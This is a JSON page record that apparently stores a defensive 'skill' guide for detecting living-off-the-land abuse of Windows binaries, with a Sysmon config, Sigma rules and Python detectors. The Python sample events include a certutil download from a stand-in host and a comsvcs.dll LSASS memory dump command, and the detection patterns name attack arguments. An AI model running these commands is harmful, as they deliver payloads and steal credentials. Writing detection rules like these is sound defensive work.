[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M74XB2ZT644MY0DM29FNKQPP":3,"skill-same:01M74XB2ZT644MY0DM29FNKQPP":71},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":35,"commitSha":36,"skillDirectory":5,"forksCount":14,"repositoryHtmlUrl":37,"repositoryHomepageUrl":6,"ownerHtmlUrl":38,"ownerBlogUrl":39,"ownerDescription":6,"updatedAt":40,"install":41,"resources":54},"01M74XB2ZT644MY0DM29FNKQPP","detecting-living-off-the-land-attacks",null,"Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.","SamuelChien\u002Fmega-skills-collection","SamuelChien","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F4652114?v=4","01M74KK34WVHA0P5ZYSJRDDFMG","Samuel Chien","01M74KK35FQN1N9VZ9EPTH3P2S",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fdetecting-living-off-the-land-attacks\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fdetecting-living-off-the-land-attacks\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: detecting-living-off-the-land-attacks\ndescription: >\n  Detect abuse of legitimate Windows binaries (LOLBins) used for living off\n  the land attacks. Monitors process creation, command-line arguments, and\n  parent-child relationships to identify suspicious LOLBin execution patterns.\ndomain: cybersecurity\nsubdomain: threat-detection\ntags: [lolbins, lotl, fileless-attacks, process-monitoring]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Detecting Living Off the Land Attacks\n\nMonitor for suspicious use of legitimate Windows binaries (LOLBins)\nincluding certutil, mshta, rundll32, regsvr32, and others used in\nfileless and living-off-the-land attack techniques.\n\n## When to Use\n\n- Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time\n- Investigating alerts where legitimate system binaries appear in unexpected execution contexts\n- Threat hunting across endpoint telemetry for fileless attack indicators\n- Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage\n- Creating Sysmon configurations tuned to capture LOLBin-related process creation events\n- Responding to incidents where adversaries bypassed AV by using only built-in OS tools\n\n**Do not use** for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.\n\n## Prerequisites\n\n- Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)\n- SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)\n- Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)\n- LOLBAS project reference: https:\u002F\u002Flolbas-project.github.io\u002F\n- Python 3.8+ with `evtx`, `pandas` for offline log analysis\n- Sigma rule repository for cross-platform detection rule authoring\n\n## Workflow\n\n### Step 1: Deploy a LOLBin-Focused Sysmon Configuration\n\nCreate a Sysmon config that captures the process creation and network events needed for LOLBin detection:\n\n```xml\n\u003C!-- File: sysmon-lolbin-detection.xml -->\n\u003CSysmon schemaversion=\"4.90\">\n  \u003CEventFiltering>\n    \u003C!-- Process Creation: capture all LOLBin executions with full command lines -->\n    \u003CRuleGroup name=\"LOLBin Process Creation\" groupRelation=\"or\">\n      \u003CProcessCreate onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">installutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">cmstp.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wmic.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">certreq.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">extrac32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">findstr.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">hh.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">ie4uinit.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mavinject.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msiexec.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">odbcconf.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pcalua.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">presentationhost.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">xwizard.exe\u003C\u002FImage>\n        \u003C!-- PowerShell variants -->\n        \u003CImage condition=\"end with\">powershell.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pwsh.exe\u003C\u002FImage>\n        \u003C!-- Script hosts -->\n        \u003CImage condition=\"end with\">cscript.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wscript.exe\u003C\u002FImage>\n      \u003C\u002FProcessCreate>\n    \u003C\u002FRuleGroup>\n\n    \u003C!-- Network connections from LOLBins (highly suspicious) -->\n    \u003CRuleGroup name=\"LOLBin Network\" groupRelation=\"or\">\n      \u003CNetworkConnect onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n      \u003C\u002FNetworkConnect>\n    \u003C\u002FRuleGroup>\n  \u003C\u002FEventFiltering>\n\u003C\u002FSysmon>\n```\n\n```powershell\n# Install or update Sysmon with the LOLBin config\nsysmon64.exe -accepteula -i sysmon-lolbin-detection.xml\n\n# Update existing Sysmon installation\nsysmon64.exe -c sysmon-lolbin-detection.xml\n```\n\n### Step 2: Build Sigma Detection Rules for Key LOLBins\n\nWrite Sigma rules that detect specific abuse patterns, translatable to any SIEM:\n\n```yaml\n# File: sigma\u002Fcertutil_download.yml\ntitle: Certutil Used to Download File\nid: a1b2c3d4-5678-9abc-def0-123456789abc\nstatus: stable\ndescription: >\n  Detects certutil.exe being used to download files from remote URLs,\n  a common LOLBin technique for payload delivery (LOLBAS T1105).\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FCertutil\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1105\u002F\nauthor: Threat Detection Team\ndate: 2026\u002F01\u002F20\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\certutil.exe'\n    CommandLine|contains|all:\n      - 'urlcache'\n      - '-f'\n      - 'http'\n  condition: selection\nfalsepositives:\n  - Legitimate certificate enrollment using certutil with URL parameters\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1218\n  - attack.command_and_control\n  - attack.t1105\n```\n\n```yaml\n# File: sigma\u002Fmshta_execution.yml\ntitle: MSHTA Executing Remote or Inline Script\nid: b2c3d4e5-6789-abcd-ef01-234567890bcd\nstatus: stable\ndescription: >\n  Detects mshta.exe executing scripts from URLs or inline VBScript\u002FJavaScript,\n  commonly used for application whitelisting bypass and initial access.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FMshta\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F005\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection_remote:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains: 'http'\n  selection_inline:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains:\n      - 'vbscript:'\n      - 'javascript:'\n  selection_parent_anomaly:\n    Image|endswith: '\\mshta.exe'\n    ParentImage|endswith:\n      - '\\winword.exe'\n      - '\\excel.exe'\n      - '\\outlook.exe'\n      - '\\powerpnt.exe'\n  condition: selection_remote or selection_inline or selection_parent_anomaly\nfalsepositives:\n  - Legacy HTA-based internal applications\nlevel: high\n```\n\n```yaml\n# File: sigma\u002Fregsvr32_scrobj.yml\ntitle: Regsvr32 Squiblydoo Scriptlet Execution\nid: c3d4e5f6-7890-bcde-f012-345678901cde\nstatus: stable\ndescription: >\n  Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,\n  known as the Squiblydoo technique for AppLocker bypass.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FRegsvr32\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F010\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\regsvr32.exe'\n    CommandLine|contains|all:\n      - 'scrobj.dll'\n      - '\u002Fi:'\n  condition: selection\nfalsepositives:\n  - Legitimate COM scriptlet registration (rare in modern environments)\nlevel: critical\n```\n\n### Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns\n\nParse and correlate Sysmon events to identify suspicious LOLBin execution:\n\n```python\nimport json\nimport re\nfrom datetime import datetime, timedelta\nfrom collections import defaultdict\nfrom pathlib import Path\n\n# Known LOLBins and their suspicious command-line indicators\nLOLBIN_SIGNATURES = {\n    \"certutil.exe\": {\n        \"suspicious_args\": [\n            r\"-urlcache\\s+-f\\s+http\",\n            r\"-decode\\s+\",\n            r\"-encode\\s+\",\n            r\"-verifyctl\\s+.*http\",\n        ],\n        \"mitre\": \"T1218, T1105\",\n        \"severity\": \"high\"\n    },\n    \"mshta.exe\": {\n        \"suspicious_args\": [\n            r\"https?:\u002F\u002F\",\n            r\"vbscript:\",\n            r\"javascript:\",\n            r\"about:\",\n        ],\n        \"mitre\": \"T1218.005\",\n        \"severity\": \"high\"\n    },\n    \"rundll32.exe\": {\n        \"suspicious_args\": [\n            r\"javascript:\",\n            r\"shell32\\.dll.*ShellExec_RunDLL\",\n            r\"\\\\\\\\.*\\\\.*\\.dll\",  # UNC path DLL loading\n            r\"comsvcs\\.dll.*MiniDump\",  # LSASS dump via comsvcs\n        ],\n        \"mitre\": \"T1218.011\",\n        \"severity\": \"critical\"\n    },\n    \"regsvr32.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Fs\\s+\u002Fn\\s+\u002Fu\\s+\u002Fi:\",\n            r\"scrobj\\.dll\",\n            r\"https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1218.010\",\n        \"severity\": \"critical\"\n    },\n    \"bitsadmin.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Ftransfer\\s+.*https?:\u002F\u002F\",\n            r\"\u002Fcreate\\s+.*\\\u002Faddfile\\s+.*https?:\u002F\u002F\",\n            r\"\u002FSetNotifyCmdLine\",\n        ],\n        \"mitre\": \"T1197\",\n        \"severity\": \"high\"\n    },\n    \"wmic.exe\": {\n        \"suspicious_args\": [\n            r\"process\\s+call\\s+create\",\n            r\"\u002Fnode:\",\n            r\"os\\s+get\\s+\u002Fformat:.*https?:\u002F\u002F\",\n            r\"xsl.*https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1047\",\n        \"severity\": \"high\"\n    },\n    \"msbuild.exe\": {\n        \"suspicious_args\": [\n            r\"\\.xml\\b\",\n            r\"\\.csproj\\b\",\n            r\"\\\\temp\\\\\",\n            r\"\\\\appdata\\\\\",\n        ],\n        \"mitre\": \"T1127.001\",\n        \"severity\": \"high\"\n    },\n    \"mavinject.exe\": {\n        \"suspicious_args\": [\n            r\"\u002FINJECTRUNNING\\s+\\d+\",\n        ],\n        \"mitre\": \"T1218.013\",\n        \"severity\": \"critical\"\n    },\n}\n\ndef analyze_sysmon_events(events):\n    \"\"\"Analyze Sysmon process creation events for LOLBin abuse.\"\"\"\n    alerts = []\n\n    for event in events:\n        image = event.get(\"Image\", \"\").lower()\n        cmdline = event.get(\"CommandLine\", \"\")\n        parent = event.get(\"ParentImage\", \"\")\n\n        # Check if the process is a known LOLBin\n        for lolbin, config in LOLBIN_SIGNATURES.items():\n            if image.endswith(lolbin.lower()):\n                for pattern in config[\"suspicious_args\"]:\n                    if re.search(pattern, cmdline, re.IGNORECASE):\n                        alert = {\n                            \"timestamp\": event.get(\"UtcTime\", \"\"),\n                            \"hostname\": event.get(\"Computer\", \"\"),\n                            \"lolbin\": lolbin,\n                            \"command_line\": cmdline,\n                            \"parent_process\": parent,\n                            \"user\": event.get(\"User\", \"\"),\n                            \"process_id\": event.get(\"ProcessId\", \"\"),\n                            \"parent_pid\": event.get(\"ParentProcessId\", \"\"),\n                            \"mitre_technique\": config[\"mitre\"],\n                            \"severity\": config[\"severity\"],\n                            \"matched_pattern\": pattern,\n                        }\n                        alerts.append(alert)\n                        break\n    return alerts\n\n# Example usage with parsed Sysmon events\nsample_events = [\n    {\n        \"UtcTime\": \"2026-01-20 14:32:15.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n        \"CommandLine\": \"certutil.exe -urlcache -f http:\u002F\u002Fevil.example.com\u002Fpayload.exe C:\\\\temp\\\\update.exe\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"4532\",\n        \"ParentProcessId\": \"2108\",\n    },\n    {\n        \"UtcTime\": \"2026-01-20 14:33:01.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\rundll32.exe\",\n        \"CommandLine\": \"rundll32.exe comsvcs.dll, MiniDump 624 C:\\\\temp\\\\dump.bin full\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"5128\",\n        \"ParentProcessId\": \"2108\",\n    },\n]\n\nalerts = analyze_sysmon_events(sample_events)\nfor alert in alerts:\n    print(f\"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}\")\n    print(f\"  MITRE: {alert['mitre_technique']}\")\n    print(f\"  Command: {alert['command_line'][:120]}\")\n    print(f\"  Parent: {alert['parent_process']}\")\n    print(f\"  User: {alert['user']}\")\n    print()\n```\n\n### Step 4: Detect LOLBin Network Connections\n\nLOLBins making outbound network connections is a strong indicator of malicious use:\n\n```python\ndef detect_lolbin_network_activity(network_events, process_events):\n    \"\"\"Correlate Sysmon network events (ID 3) with process creation (ID 1)\n    to find LOLBins making outbound connections.\"\"\"\n\n    # LOLBins that should rarely make outbound connections\n    NETWORK_SUSPICIOUS = {\n        \"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n        \"msbuild.exe\", \"installutil.exe\", \"bitsadmin.exe\", \"esentutl.exe\",\n        \"expand.exe\", \"replace.exe\", \"cmstp.exe\", \"presentationhost.exe\",\n    }\n\n    alerts = []\n    for event in network_events:\n        image = event.get(\"Image\", \"\").lower()\n        binary_name = image.split(\"\\\\\")[-1] if \"\\\\\" in image else image\n\n        if binary_name in NETWORK_SUSPICIOUS:\n            dest_ip = event.get(\"DestinationIp\", \"\")\n            dest_port = event.get(\"DestinationPort\", \"\")\n\n            # Skip localhost and internal DNS\n            if dest_ip.startswith(\"127.\") or dest_ip == \"::1\":\n                continue\n\n            alert = {\n                \"type\": \"lolbin_network_connection\",\n                \"binary\": binary_name,\n                \"destination_ip\": dest_ip,\n                \"destination_port\": dest_port,\n                \"destination_hostname\": event.get(\"DestinationHostname\", \"\"),\n                \"source_ip\": event.get(\"SourceIp\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n                \"severity\": \"critical\",\n            }\n            alerts.append(alert)\n            print(f\"[CRITICAL] {binary_name} connected to \"\n                  f\"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N\u002FA')})\")\n\n    return alerts\n```\n\n### Step 5: Monitor Anomalous Parent-Child Process Relationships\n\n```python\n# Suspicious parent-child relationships indicating LOLBin abuse\nSUSPICIOUS_PARENT_CHILD = [\n    # Office apps spawning LOLBins (macro execution)\n    {\"parent\": [\"winword.exe\", \"excel.exe\", \"powerpnt.exe\", \"outlook.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"pwsh.exe\", \"mshta.exe\",\n               \"wscript.exe\", \"cscript.exe\", \"certutil.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1204.002\"},\n\n    # Explorer spawning script interpreters directly\n    {\"parent\": [\"explorer.exe\"],\n     \"child\": [\"mshta.exe\", \"regsvr32.exe\", \"msbuild.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1218\"},\n\n    # WMI provider spawning processes (lateral movement)\n    {\"parent\": [\"wmiprvse.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1047\"},\n\n    # Services spawning unusual children\n    {\"parent\": [\"services.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\", \"rundll32.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1543.003\"},\n]\n\ndef check_parent_child_anomaly(event):\n    \"\"\"Check if a process creation event has a suspicious parent-child pair.\"\"\"\n    parent = event.get(\"ParentImage\", \"\").split(\"\\\\\")[-1].lower()\n    child = event.get(\"Image\", \"\").split(\"\\\\\")[-1].lower()\n\n    for rule in SUSPICIOUS_PARENT_CHILD:\n        if parent in rule[\"parent\"] and child in rule[\"child\"]:\n            return {\n                \"alert_type\": \"suspicious_parent_child\",\n                \"parent\": parent,\n                \"child\": child,\n                \"command_line\": event.get(\"CommandLine\", \"\"),\n                \"mitre\": rule[\"mitre\"],\n                \"severity\": rule[\"severity\"],\n                \"hostname\": event.get(\"Computer\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n            }\n    return None\n```\n\n### Step 6: Implement AppLocker or WDAC Hardening\n\nRestrict unnecessary LOLBin execution with application control policies:\n\n```powershell\n# Query current AppLocker policy\nGet-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections\n\n# Create AppLocker rules to restrict certutil to admin-only\n$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix \"Block\" `\n    -FileInformation \"C:\\Windows\\System32\\certutil.exe\" `\n    -User \"S-1-1-0\" -Deny\n\n# Export current policy for backup before applying changes\nGet-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml\n\n# Block specific LOLBins for standard users via GPO script\n$lolbins_to_restrict = @(\n    \"mshta.exe\", \"cmstp.exe\", \"msbuild.exe\", \"installutil.exe\",\n    \"regsvr32.exe\", \"presentationhost.exe\", \"ie4uinit.exe\",\n    \"mavinject.exe\", \"xwizard.exe\"\n)\n\nforeach ($binary in $lolbins_to_restrict) {\n    $path = \"C:\\Windows\\System32\\$binary\"\n    if (Test-Path $path) {\n        Write-Output \"Restricting: $path\"\n        # Apply WDAC deny rule via PowerShell\n        # In production, use Group Policy or Intune WDAC policies\n    }\n}\n```\n\n## Verification\n\n- Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins\n- Validate Sigma rules convert correctly to your SIEM query language using `sigmac` or `sigma-cli`\n- Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire\n- Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., `winword.exe` spawning `certutil.exe`)\n- Confirm LOLBin network connection detection triggers when `certutil.exe` or `mshta.exe` reach out to external IPs\n- Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production\n- Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment\n- Cross-reference detections against the LOLBAS project database at https:\u002F\u002Flolbas-project.github.io\u002F for completeness\n","# Detecting Living Off the Land Attacks\n\nMonitor for suspicious use of legitimate Windows binaries (LOLBins)\nincluding certutil, mshta, rundll32, regsvr32, and others used in\nfileless and living-off-the-land attack techniques.\n\n## When to Use\n\n- Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time\n- Investigating alerts where legitimate system binaries appear in unexpected execution contexts\n- Threat hunting across endpoint telemetry for fileless attack indicators\n- Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage\n- Creating Sysmon configurations tuned to capture LOLBin-related process creation events\n- Responding to incidents where adversaries bypassed AV by using only built-in OS tools\n\n**Do not use** for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.\n\n## Prerequisites\n\n- Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)\n- SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)\n- Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)\n- LOLBAS project reference: https:\u002F\u002Flolbas-project.github.io\u002F\n- Python 3.8+ with `evtx`, `pandas` for offline log analysis\n- Sigma rule repository for cross-platform detection rule authoring\n\n## Workflow\n\n### Step 1: Deploy a LOLBin-Focused Sysmon Configuration\n\nCreate a Sysmon config that captures the process creation and network events needed for LOLBin detection:\n\n```xml\n\u003C!-- File: sysmon-lolbin-detection.xml -->\n\u003CSysmon schemaversion=\"4.90\">\n  \u003CEventFiltering>\n    \u003C!-- Process Creation: capture all LOLBin executions with full command lines -->\n    \u003CRuleGroup name=\"LOLBin Process Creation\" groupRelation=\"or\">\n      \u003CProcessCreate onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">installutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">cmstp.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wmic.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">certreq.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">extrac32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">findstr.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">hh.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">ie4uinit.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mavinject.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msiexec.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">odbcconf.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pcalua.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">presentationhost.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">xwizard.exe\u003C\u002FImage>\n        \u003C!-- PowerShell variants -->\n        \u003CImage condition=\"end with\">powershell.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pwsh.exe\u003C\u002FImage>\n        \u003C!-- Script hosts -->\n        \u003CImage condition=\"end with\">cscript.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wscript.exe\u003C\u002FImage>\n      \u003C\u002FProcessCreate>\n    \u003C\u002FRuleGroup>\n\n    \u003C!-- Network connections from LOLBins (highly suspicious) -->\n    \u003CRuleGroup name=\"LOLBin Network\" groupRelation=\"or\">\n      \u003CNetworkConnect onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n      \u003C\u002FNetworkConnect>\n    \u003C\u002FRuleGroup>\n  \u003C\u002FEventFiltering>\n\u003C\u002FSysmon>\n```\n\n```powershell\n# Install or update Sysmon with the LOLBin config\nsysmon64.exe -accepteula -i sysmon-lolbin-detection.xml\n\n# Update existing Sysmon installation\nsysmon64.exe -c sysmon-lolbin-detection.xml\n```\n\n### Step 2: Build Sigma Detection Rules for Key LOLBins\n\nWrite Sigma rules that detect specific abuse patterns, translatable to any SIEM:\n\n```yaml\n# File: sigma\u002Fcertutil_download.yml\ntitle: Certutil Used to Download File\nid: a1b2c3d4-5678-9abc-def0-123456789abc\nstatus: stable\ndescription: >\n  Detects certutil.exe being used to download files from remote URLs,\n  a common LOLBin technique for payload delivery (LOLBAS T1105).\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FCertutil\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1105\u002F\nauthor: Threat Detection Team\ndate: 2026\u002F01\u002F20\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\certutil.exe'\n    CommandLine|contains|all:\n      - 'urlcache'\n      - '-f'\n      - 'http'\n  condition: selection\nfalsepositives:\n  - Legitimate certificate enrollment using certutil with URL parameters\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1218\n  - attack.command_and_control\n  - attack.t1105\n```\n\n```yaml\n# File: sigma\u002Fmshta_execution.yml\ntitle: MSHTA Executing Remote or Inline Script\nid: b2c3d4e5-6789-abcd-ef01-234567890bcd\nstatus: stable\ndescription: >\n  Detects mshta.exe executing scripts from URLs or inline VBScript\u002FJavaScript,\n  commonly used for application whitelisting bypass and initial access.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FMshta\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F005\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection_remote:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains: 'http'\n  selection_inline:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains:\n      - 'vbscript:'\n      - 'javascript:'\n  selection_parent_anomaly:\n    Image|endswith: '\\mshta.exe'\n    ParentImage|endswith:\n      - '\\winword.exe'\n      - '\\excel.exe'\n      - '\\outlook.exe'\n      - '\\powerpnt.exe'\n  condition: selection_remote or selection_inline or selection_parent_anomaly\nfalsepositives:\n  - Legacy HTA-based internal applications\nlevel: high\n```\n\n```yaml\n# File: sigma\u002Fregsvr32_scrobj.yml\ntitle: Regsvr32 Squiblydoo Scriptlet Execution\nid: c3d4e5f6-7890-bcde-f012-345678901cde\nstatus: stable\ndescription: >\n  Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,\n  known as the Squiblydoo technique for AppLocker bypass.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FRegsvr32\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F010\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\regsvr32.exe'\n    CommandLine|contains|all:\n      - 'scrobj.dll'\n      - '\u002Fi:'\n  condition: selection\nfalsepositives:\n  - Legitimate COM scriptlet registration (rare in modern environments)\nlevel: critical\n```\n\n### Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns\n\nParse and correlate Sysmon events to identify suspicious LOLBin execution:\n\n```python\nimport json\nimport re\nfrom datetime import datetime, timedelta\nfrom collections import defaultdict\nfrom pathlib import Path\n\n# Known LOLBins and their suspicious command-line indicators\nLOLBIN_SIGNATURES = {\n    \"certutil.exe\": {\n        \"suspicious_args\": [\n            r\"-urlcache\\s+-f\\s+http\",\n            r\"-decode\\s+\",\n            r\"-encode\\s+\",\n            r\"-verifyctl\\s+.*http\",\n        ],\n        \"mitre\": \"T1218, T1105\",\n        \"severity\": \"high\"\n    },\n    \"mshta.exe\": {\n        